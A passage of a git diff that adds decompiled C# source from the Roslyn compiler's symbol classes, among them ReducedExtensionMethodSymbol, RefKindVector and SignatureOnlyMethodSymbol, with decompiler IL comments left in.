_containingMethod._typeMap.SubstituteType(_underlyingParameter.TypeWithAnnotations); + + public override ImmutableArray RefCustomModifiers => _containingMethod._typeMap.SubstituteCustomModifiers(_underlyingParameter.RefCustomModifiers); + + internal override bool IsCallerLineNumber + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 642); + } + } + + internal override bool IsCallerFilePath + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 648); + } + } + + internal override bool IsCallerMemberName + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 654); + } + } + + internal override int CallerArgumentExpressionParameterIndex + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 660); + } + } + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 663); + } + } + + internal override bool HasInterpolatedStringHandlerArgumentError + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 665); + } + } + + public ReducedExtensionMethodParameterSymbol(ReducedExtensionMethodSymbol containingMethod, ParameterSymbol underlyingParameter) + : base(underlyingParameter) + { + _containingMethod = containingMethod; + } + + public sealed override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is ReducedExtensionMethodParameterSymbol reducedExtensionMethodParameterSymbol && Ordinal == reducedExtensionMethodParameterSymbol.Ordinal) + { + return ContainingSymbol.Equals(reducedExtensionMethodParameterSymbol.ContainingSymbol, compareKind); + } + return false; + } + + public sealed override int GetHashCode() + { + return Hash.Combine(ContainingSymbol, _underlyingParameter.Ordinal); + } + } + + private readonly MethodSymbol _reducedFrom; + + private readonly TypeMap _typeMap; + + private readonly ImmutableArray _typeParameters; + + private readonly ImmutableArray _typeArguments; + + private ImmutableArray _lazyParameters; + + internal override MethodSymbol CallsiteReducedFromMethod => _reducedFrom.ConstructIfGeneric(_typeArguments); + + public override TypeSymbol ReceiverType => _reducedFrom.Parameters[0].Type; + + internal override NullableAnnotation ReceiverNullableAnnotation => _reducedFrom.Parameters[0].TypeWithAnnotations.ToPublicAnnotation(); + + public override MethodSymbol ReducedFrom => _reducedFrom; + + public override MethodSymbol ConstructedFrom => this; + + public override ImmutableArray TypeParameters => _typeParameters; + + public override ImmutableArray TypeArgumentsWithAnnotations => _typeArguments; + + internal override CallingConvention CallingConvention => _reducedFrom.CallingConvention; + + public override int Arity => _reducedFrom.Arity; + + public override string Name => _reducedFrom.Name; + + internal override bool HasSpecialName => _reducedFrom.HasSpecialName; + + internal override MethodImplAttributes ImplementationAttributes => _reducedFrom.ImplementationAttributes; + + internal override bool RequiresSecurityObject => _reducedFrom.RequiresSecurityObject; + + public override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 325); + } + } + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation => _reducedFrom.ReturnValueMarshallingInformation; + + internal override bool HasDeclarativeSecurity => _reducedFrom.HasDeclarativeSecurity; + + public override AssemblySymbol ContainingAssembly => _reducedFrom.ContainingAssembly; + + public override ImmutableArray Locations => _reducedFrom.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _reducedFrom.DeclaringSyntaxReferences; + + public override MethodSymbol OriginalDefinition => this; + + public override bool IsExtern => _reducedFrom.IsExtern; + + public override bool IsSealed => _reducedFrom.IsSealed; + + public override bool IsVirtual => _reducedFrom.IsVirtual; + + public override bool IsAbstract => _reducedFrom.IsAbstract; + + public override bool IsOverride => _reducedFrom.IsOverride; + + public override bool IsStatic => false; + + public override bool IsAsync => _reducedFrom.IsAsync; + + public override bool IsExtensionMethod => true; + + internal override bool IsMetadataFinal => false; + + internal sealed override ObsoleteAttributeData ObsoleteAttributeData => _reducedFrom.ObsoleteAttributeData; + + public override Accessibility DeclaredAccessibility => _reducedFrom.DeclaredAccessibility; + + public override Symbol ContainingSymbol => _reducedFrom.ContainingSymbol; + + public override Symbol AssociatedSymbol => null; + + public override MethodKind MethodKind => (MethodKind)13; + + public override bool ReturnsVoid => _reducedFrom.ReturnsVoid; + + public override bool IsGenericMethod => _reducedFrom.IsGenericMethod; + + public override bool IsVararg => _reducedFrom.IsVararg; + + public override RefKind RefKind => _reducedFrom.RefKind; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _typeMap.SubstituteType(_reducedFrom.ReturnTypeWithAnnotations); + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => _reducedFrom.ReturnTypeFlowAnalysisAnnotations; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => _reducedFrom.ReturnNotNullIfParameterNotNull; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => _reducedFrom.FlowAnalysisAnnotations; + + public override ImmutableArray RefCustomModifiers => _typeMap.SubstituteCustomModifiers(_reducedFrom.RefCustomModifiers); + + internal override int ParameterCount => _reducedFrom.ParameterCount - 1; + + internal override bool GenerateDebugInfo => _reducedFrom.GenerateDebugInfo; + + public override ImmutableArray Parameters + { + get + { + if (_lazyParameters.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyParameters, MakeParameters()); + } + return _lazyParameters; + } + } + + internal override bool IsExplicitInterfaceImplementation => false; + + internal override bool IsDeclaredReadOnly => false; + + internal override bool IsInitOnly => false; + + internal override bool IsEffectivelyReadOnly + { + get + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Invalid comparison between Unknown and I4 + RefKind refKind = _reducedFrom.Parameters[0].RefKind; + if (refKind - 3 <= 1) + { + return true; + } + return false; + } + } + + public override ImmutableArray ExplicitInterfaceImplementations => ImmutableArray.Empty; + + public override bool HidesBaseMethodsByName => false; + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 596); + } + } + + internal sealed override bool HasUnscopedRefAttribute => false; + + internal sealed override bool UseUpdatedEscapeRules => _reducedFrom.UseUpdatedEscapeRules; + + public static MethodSymbol Create(MethodSymbol method, TypeSymbol receiverType, CSharpCompilation compilation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Invalid comparison between Unknown and I4 + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.DiscardedDependencies; + method = InferExtensionMethodTypeArguments(method, receiverType, compilation, ref useSiteInfo); + if ((object)method == null) + { + return null; + } + if (!method.ContainingAssembly.CorLibrary.TypeConversions.ConvertExtensionMethodThisArg(method.Parameters[0].Type, receiverType, ref useSiteInfo).Exists) + { + return null; + } + if (useSiteInfo.Diagnostics != null) + { + foreach (DiagnosticInfo diagnostic in useSiteInfo.Diagnostics) + { + if ((int)diagnostic.Severity == 3) + { + return null; + } + } + } + return Create(method); + } + + public static MethodSymbol Create(MethodSymbol method) + { + MethodSymbol constructedFrom = method.ConstructedFrom; + ReducedExtensionMethodSymbol reducedExtensionMethodSymbol = new ReducedExtensionMethodSymbol(constructedFrom); + if (constructedFrom == method) + { + return reducedExtensionMethodSymbol; + } + return reducedExtensionMethodSymbol.Construct(method.TypeArgumentsWithAnnotations); + } + + private ReducedExtensionMethodSymbol(MethodSymbol reducedFrom) + { + _reducedFrom = reducedFrom; + _typeMap = TypeMap.Empty.WithAlphaRename(reducedFrom, this, out _typeParameters); + _typeArguments = _typeMap.SubstituteTypes(reducedFrom.TypeArgumentsWithAnnotations); + } + + private static MethodSymbol InferExtensionMethodTypeArguments(MethodSymbol method, TypeSymbol thisType, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_01c6: Unknown result type (might be due to invalid IL or missing references) + //IL_01cb: Unknown result type (might be due to invalid IL or missing references) + //IL_01f7: Unknown result type (might be due to invalid IL or missing references) + //IL_01fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0226: Unknown result type (might be due to invalid IL or missing references) + //IL_022b: Unknown result type (might be due to invalid IL or missing references) + //IL_023b: Unknown result type (might be due to invalid IL or missing references) + if (!method.IsGenericMethod || method != method.ConstructedFrom) + { + return method; + } + if (thisType.IsDynamic()) + { + return null; + } + AssemblySymbol containingAssembly = method.ContainingAssembly; + NamespaceSymbol globalNamespace = containingAssembly.GlobalNamespace; + TypeConversions typeConversions = containingAssembly.CorLibrary.TypeConversions; + CSharpSyntaxNode syntax = (CSharpSyntaxNode)(object)CSharpSyntaxTree.Dummy.GetRoot(default(CancellationToken)); + BoundLiteral boundLiteral = new BoundLiteral((SyntaxNode)(object)syntax, ConstantValue.Bad, thisType) + { + WasCompilerGenerated = true + }; + BoundLiteral boundLiteral2 = new BoundLiteral(type: new ExtendedErrorTypeSymbol(globalNamespace, string.Empty, 0, null), syntax: (SyntaxNode)(object)syntax, constantValueOpt: ConstantValue.Bad) + { + WasCompilerGenerated = true + }; + int parameterCount = method.ParameterCount; + BoundExpression[] array = new BoundExpression[parameterCount]; + for (int i = 0; i < parameterCount; i++) + { + BoundLiteral boundLiteral3 = ((i == 0) ? boundLiteral : boundLiteral2); + array[i] = boundLiteral3; + } + ImmutableArray immutableArray = MethodTypeInferrer.InferTypeArgumentsFromFirstArgument(compilation, typeConversions, method, ImmutableArrayExtensions.AsImmutable(array), ref useSiteInfo); + if (immutableArray.IsDefault) + { + return null; + } + int num = -1; + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableArray typeParameters = method.TypeParameters; + ImmutableArray immutableArray2 = immutableArray; + for (int j = 0; j < immutableArray2.Length; j++) + { + if (immutableArray2[j].HasType) + { + continue; + } + num = j; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + instance2.AddRange(immutableArray2, num); + for (; j < immutableArray2.Length; j++) + { + TypeWithAnnotations typeWithAnnotations = immutableArray2[j]; + if (!typeWithAnnotations.HasType) + { + ((HashSet)(object)instance).Add(typeParameters[j]); + instance2.Add(TypeWithAnnotations.Create(ErrorTypeSymbol.UnknownResultType)); + } + else + { + instance2.Add(typeWithAnnotations); + } + } + immutableArray2 = instance2.ToImmutableAndFree(); + break; + } + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + TypeMap substitution = new TypeMap(typeParameters, immutableArray2); + ArrayBuilder useSiteDiagnosticsBuilder = null; + ConstraintsHelper.CheckConstraintsArgs args = new ConstraintsHelper.CheckConstraintsArgs(compilation, typeConversions, includeNullability: false, NoLocation.Singleton, null, new CompoundUseSiteInfo(useSiteInfo)); + ImmutableArray typeParameters2 = typeParameters; + ImmutableArray typeArguments = immutableArray2; + HashSet ignoreTypeConstraintsDependentOnTypeParametersOpt = (HashSet)(object)((((HashSet)(object)instance).Count > 0) ? instance : null); + bool flag = method.CheckConstraints(in args, substitution, typeParameters2, typeArguments, instance3, null, ref useSiteDiagnosticsBuilder, default(BitVector), ignoreTypeConstraintsDependentOnTypeParametersOpt); + instance3.Free(); + instance.Free(); + if (useSiteDiagnosticsBuilder != null && useSiteDiagnosticsBuilder.Count > 0) + { + Enumerator enumerator = useSiteDiagnosticsBuilder.GetEnumerator(); + while (enumerator.MoveNext()) + { + useSiteInfo.Add(enumerator.Current.UseSiteInfo); + } + } + if (!flag) + { + return null; + } + ImmutableArray typeArguments2 = immutableArray; + if (immutableArray.Any((TypeWithAnnotations t) => !t.HasType)) + { + typeArguments2 = ImmutableArrayExtensions.ZipAsArray(immutableArray, method.TypeParameters, (Func)((TypeWithAnnotations t, TypeParameterSymbol tp) => (!t.HasType) ? TypeWithAnnotations.Create(tp) : t)); + } + return method.Construct(typeArguments2); + } + + public override TypeSymbol GetTypeInferredDuringReduction(TypeParameterSymbol reducedFromTypeParameter) + { + if ((object)reducedFromTypeParameter == null) + { + throw new ArgumentNullException(); + } + if (reducedFromTypeParameter.ContainingSymbol != _reducedFrom) + { + throw new ArgumentException(); + } + return null; + } + + public override DllImportData GetDllImportData() + { + return _reducedFrom.GetDllImportData(); + } + + internal override IEnumerable GetSecurityInformation() + { + return _reducedFrom.GetSecurityInformation(); + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return _reducedFrom.GetAppliedConditionalSymbols(); + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _reducedFrom.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + internal sealed override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override UnmanagedCallersOnlyAttributeData GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return _reducedFrom.GetUnmanagedCallersOnlyAttributeData(forceComplete); + } + + public override ImmutableArray GetAttributes() + { + return _reducedFrom.GetAttributes(); + } + + internal override bool TryGetThisParameter(out ParameterSymbol thisParameter) + { + thisParameter = _reducedFrom.Parameters[0]; + return true; + } + + internal override bool CallsAreOmitted(SyntaxTree syntaxTree) + { + return _reducedFrom.CallsAreOmitted(syntaxTree); + } + + private ImmutableArray MakeParameters() + { + ImmutableArray parameters = _reducedFrom.Parameters; + int length = parameters.Length; + if (length <= 1) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length - 1); + for (int i = 0; i < length - 1; i++) + { + instance.Add((ParameterSymbol)new ReducedExtensionMethodParameterSymbol(this, parameters[i + 1])); + } + return instance.ToImmutableAndFree(); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 578); + } + + internal override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ReducedExtensionMethodSymbol.cs", 581); + } + + public override bool Equals(Symbol obj, TypeCompareKind compareKind) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == obj) + { + return true; + } + if (obj is ReducedExtensionMethodSymbol reducedExtensionMethodSymbol) + { + return _reducedFrom.Equals(reducedExtensionMethodSymbol._reducedFrom, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return _reducedFrom.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RefKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RefKindExtensions.cs new file mode 100644 index 0000000..3b19e3c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RefKindExtensions.cs @@ -0,0 +1,44 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class RefKindExtensions +{ + public static bool IsManagedReference(this RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Invalid comparison between Unknown and I4 + return (int)refKind > 0; + } + + public static RefKind GetRefKind(this SyntaxKind syntaxKind) + { + return (RefKind)(syntaxKind switch + { + SyntaxKind.RefKeyword => 1, + SyntaxKind.OutKeyword => 2, + SyntaxKind.InKeyword => 3, + SyntaxKind.None => 0, + _ => throw ExceptionUtilities.UnexpectedValue((object)syntaxKind), + }); + } + + public static bool IsWritableReference(this RefKind refKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected I4, but got Unknown + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + switch ((int)refKind) + { + case 1: + case 2: + return true; + case 0: + case 3: + case 4: + return false; + default: + throw ExceptionUtilities.UnexpectedValue((object)refKind); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RefKindVector.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RefKindVector.cs new file mode 100644 index 0000000..85bb7ed --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/RefKindVector.cs @@ -0,0 +1,179 @@ +using System; +using System.Collections.Generic; +using System.Runtime.CompilerServices; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal struct RefKindVector : IEquatable +{ + private const int BitsPerRefKind = 3; + + private BitVector _bits; + + internal bool IsNull => ((BitVector)(ref _bits)).IsNull; + + internal int Capacity => ((BitVector)(ref _bits)).Capacity / 3; + + internal RefKind this[int index] + { + get + { + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + index *= 3; + (bool, bool, bool) tuple = (((BitVector)(ref _bits))[index + 2], ((BitVector)(ref _bits))[index + 1], ((BitVector)(ref _bits))[index]); + if (!tuple.Item1) + { + if (!tuple.Item2) + { + if (!tuple.Item3) + { + return (RefKind)0; + } + return (RefKind)1; + } + if (!tuple.Item3) + { + return (RefKind)2; + } + return (RefKind)3; + } + if (!tuple.Item2 && !tuple.Item3) + { + return (RefKind)4; + } + throw ExceptionUtilities.UnexpectedValue((object)tuple); + } + set + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Expected I4, but got Unknown + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + index *= 3; + ref BitVector bits = ref _bits; + int num = index + 2; + ref BitVector bits2 = ref _bits; + int num2 = index + 1; + ref BitVector bits3 = ref _bits; + int num3 = index; + (bool, bool, bool) tuple = (int)value switch + { + 0 => (false, false, false), + 1 => (false, false, true), + 2 => (false, true, false), + 3 => (false, true, true), + 4 => (true, false, false), + _ => throw ExceptionUtilities.UnexpectedValue((object)value), + }; + ((BitVector)(ref bits))[num] = tuple.Item1; + ((BitVector)(ref bits2))[num2] = tuple.Item2; + ((BitVector)(ref bits3))[num3] = tuple.Item3; + } + } + + internal static RefKindVector Create(int capacity) + { + return new RefKindVector(capacity); + } + + private RefKindVector(int capacity) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + _bits = BitVector.Create(capacity * 3); + } + + private RefKindVector(BitVector bits) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _bits = bits; + } + + internal IEnumerable Words() + { + return ((BitVector)(ref _bits)).Words(); + } + + public bool Equals(RefKindVector other) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return ((BitVector)(ref _bits)).Equals(other._bits); + } + + public override bool Equals(object? obj) + { + if (obj is RefKindVector other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return ((object)Unsafe.As(ref _bits)/*cast due to constrained. prefix*/).GetHashCode(); + } + + public string ToRefKindString() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + builder.Append("{"); + int num = 0; + foreach (ulong item in Words()) + { + if (num > 0) + { + builder.Append(","); + } + builder.AppendFormat("{0:x8}", item); + num++; + } + builder.Append("}"); + return instance.ToStringAndFree(); + } + + public static bool TryParse(string refKindString, int capacity, out RefKindVector result) + { + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + ulong? num = null; + ArrayBuilder val = null; + string[] array = refKindString.Split(new char[1] { ',' }); + foreach (string value in array) + { + ulong num2; + try + { + num2 = Convert.ToUInt64(value, 16); + } + catch (Exception) + { + result = default(RefKindVector); + return false; + } + if (!num.HasValue) + { + num = num2; + continue; + } + if (val == null) + { + val = ArrayBuilder.GetInstance(); + } + val.Add(num2); + } + BitVector bits = BitVector.FromWords(num.Value, val?.ToArrayAndFree() ?? Array.Empty(), capacity * 3); + result = new RefKindVector(bits); + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReportMismatchInParameterType.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReportMismatchInParameterType.cs new file mode 100644 index 0000000..0b91955 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReportMismatchInParameterType.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal delegate void ReportMismatchInParameterType(BindingDiagnosticBag bag, MethodSymbol overriddenMethod, MethodSymbol overridingMethod, ParameterSymbol parameter, bool topLevel, TArg arg); diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReportMismatchInReturnType.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReportMismatchInReturnType.cs new file mode 100644 index 0000000..79a4204 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReportMismatchInReturnType.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal delegate void ReportMismatchInReturnType(BindingDiagnosticBag bag, MethodSymbol overriddenMethod, MethodSymbol overridingMethod, bool topLevel, TArg arg); diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReturnTypeWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReturnTypeWellKnownAttributeData.cs new file mode 100644 index 0000000..1ddf855 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ReturnTypeWellKnownAttributeData.cs @@ -0,0 +1,43 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ReturnTypeWellKnownAttributeData : CommonReturnTypeWellKnownAttributeData +{ + private bool _hasMaybeNullAttribute; + + private bool _hasNotNullAttribute; + + private ImmutableHashSet _notNullIfParameterNotNull = ImmutableHashSet.Empty; + + public bool HasMaybeNullAttribute + { + get + { + return _hasMaybeNullAttribute; + } + set + { + _hasMaybeNullAttribute = value; + } + } + + public bool HasNotNullAttribute + { + get + { + return _hasNotNullAttribute; + } + set + { + _hasNotNullAttribute = value; + } + } + + public ImmutableHashSet NotNullIfParameterNotNull => _notNullIfParameterNotNull; + + public void AddNotNullIfParameterNotNull(string parameterName) + { + _notNullIfParameterNotNull = _notNullIfParameterNotNull.Add(parameterName); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyMethodSymbol.cs new file mode 100644 index 0000000..b4a0835 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SignatureOnlyMethodSymbol.cs @@ -0,0 +1,341 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SignatureOnlyMethodSymbol : MethodSymbol +{ + private readonly string _name; + + private readonly TypeSymbol _containingType; + + private readonly MethodKind _methodKind; + + private readonly CallingConvention _callingConvention; + + private readonly ImmutableArray _typeParameters; + + private readonly ImmutableArray _parameters; + + private readonly RefKind _refKind; + + private readonly bool _isInitOnly; + + private readonly bool _isStatic; + + private readonly TypeWithAnnotations _returnType; + + private readonly ImmutableArray _refCustomModifiers; + + private readonly ImmutableArray _explicitInterfaceImplementations; + + internal override CallingConvention CallingConvention => _callingConvention; + + public override bool IsVararg => new SignatureHeader((byte)_callingConvention).CallingConvention == SignatureCallingConvention.VarArgs; + + public override bool IsGenericMethod => Arity > 0; + + public override int Arity => _typeParameters.Length; + + public override ImmutableArray TypeParameters => _typeParameters; + + public override bool ReturnsVoid => _returnType.IsVoidType(); + + public override RefKind RefKind => _refKind; + + public override TypeWithAnnotations ReturnTypeWithAnnotations => _returnType; + + public override FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableHashSet ReturnNotNullIfParameterNotNull => ImmutableHashSet.Empty; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + public override ImmutableArray RefCustomModifiers => _refCustomModifiers; + + public override ImmutableArray Parameters => _parameters; + + public override ImmutableArray ExplicitInterfaceImplementations => _explicitInterfaceImplementations; + + public override Symbol ContainingSymbol => _containingType; + + public override MethodKind MethodKind => _methodKind; + + public override string Name => _name; + + internal override bool GenerateDebugInfo + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 101); + } + } + + internal override bool HasSpecialName + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 103); + } + } + + internal override MethodImplAttributes ImplementationAttributes + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 105); + } + } + + internal override bool RequiresSecurityObject + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 107); + } + } + + internal override MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 111); + } + } + + internal override bool HasDeclarativeSecurity + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 113); + } + } + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 117); + } + } + + public override ImmutableArray TypeArgumentsWithAnnotations + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 123); + } + } + + public override Symbol AssociatedSymbol + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 125); + } + } + + public override bool IsExtensionMethod + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 127); + } + } + + public override bool HidesBaseMethodsByName + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 129); + } + } + + public override ImmutableArray Locations + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 131); + } + } + + public override ImmutableArray DeclaringSyntaxReferences + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 133); + } + } + + public override Accessibility DeclaredAccessibility + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 135); + } + } + + public override bool IsStatic => _isStatic; + + public override bool IsAsync + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 139); + } + } + + public override bool IsVirtual + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 141); + } + } + + public override bool IsOverride + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 143); + } + } + + public override bool IsAbstract + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 145); + } + } + + public override bool IsSealed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 147); + } + } + + public override bool IsExtern + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/SignatureOnlyMethodSymbol.cs", 149); + } + } + + public override bool AreLocalsZeroed + { + 